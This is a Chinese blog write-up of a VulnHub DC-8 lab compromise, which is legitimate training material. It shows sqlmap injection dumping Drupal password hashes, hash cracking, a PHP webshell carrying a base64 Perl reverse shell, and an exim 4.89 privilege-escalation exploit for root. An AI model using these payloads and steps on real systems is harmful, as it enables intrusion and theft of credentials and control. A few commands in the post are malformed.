博主介绍
博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!
靶机IP:192.168.103.208
┌──(rootkali)-[~/桌面]
└─# arp-scan -l
发现开放了22、80端口,还发现了80端口下的网站是由drupal 7搭建的
┌──(rootkali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.208
dirsearch -u http://192.168./103.208
扫描到目录有:/CHANGELOG.txt、/robots.txt、/user/login/
/CHANGELOG.txt
目录下有网站的搭建版本信息
Drupal 7.67版本的
/user/login/
是一个登录界面,需要去信息收集账号密码
可以看到这里存在注入点
可以看到,在url末尾加了一个',然后报错了,说明我们找到了sql的注入点
sqlmap.py -u "http://192.168.103.208/?nid=1" --dbs --batch #数据库
sqlmap -u "http://192.168.103.208/?nid=1" -D d7db --tables --batch
sqlmap -u "http://192.168.103.208/?nid=1" -D d7db -T users --columns --batch
sqlmap -u "http://192.168.103.208/?nid=1" -D d7db -T users -C "name,pass,uid" --dump --batch
把拿到的pass放到1.txt文件中,利用john翻译
+---------+---------------------------------------------------------+-----+
| name | pass | uid |
+---------+---------------------------------------------------------+-----+
| | | 0 |
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | 1 |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | 2 |
+---------+---------------------------------------------------------+-----+
john 1.txt
得到密码:turtle
拿到账号密码,先试试ssh远程
连接
发现都失败了
再利用账号密码尝试下登录网站后台,毕竟开始扫描目录扫到了网站的登录后台
发现登录成功:
账号:john
密码:turtle
写入php木马,反弹shell
┌──(rootkali)-[~/桌面]
└─# nc -lvvp 4444
GIF89a
'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
直接点击submit,反弹shel成功
python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell
发现这个有点奇怪,看看这个版本,是否可以提权
www-data@dc-8:/$ find / -user root -perm -4000 -print 2>/dev/null
www-data@dc-8:/$ exim4 -version
发现是4.89版本的
searchsploit exim 4
┌──(rootkali)-[~/桌面]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh hack.sh
cat hack.sh
要用setuid、netcat来paylod
vim hack.sh
:set ff=unix
hack.sh文件在上传之前,在文件终端输入:set ff=unix
,使windows的代码能在unix上面运行
把hack.sh文件上传到靶机
python3 -m http.server 7777
wget http:192.168.103.208:7777/hack.sh
payload
www-data@dc-8:/tmp$ chmod -R 777 hack.sh
www-data@dc-8:/tmp$ ./hack.sh -m setuid #不成功
$ ./hack.sh -m netcat #才运行成功,拿到root权限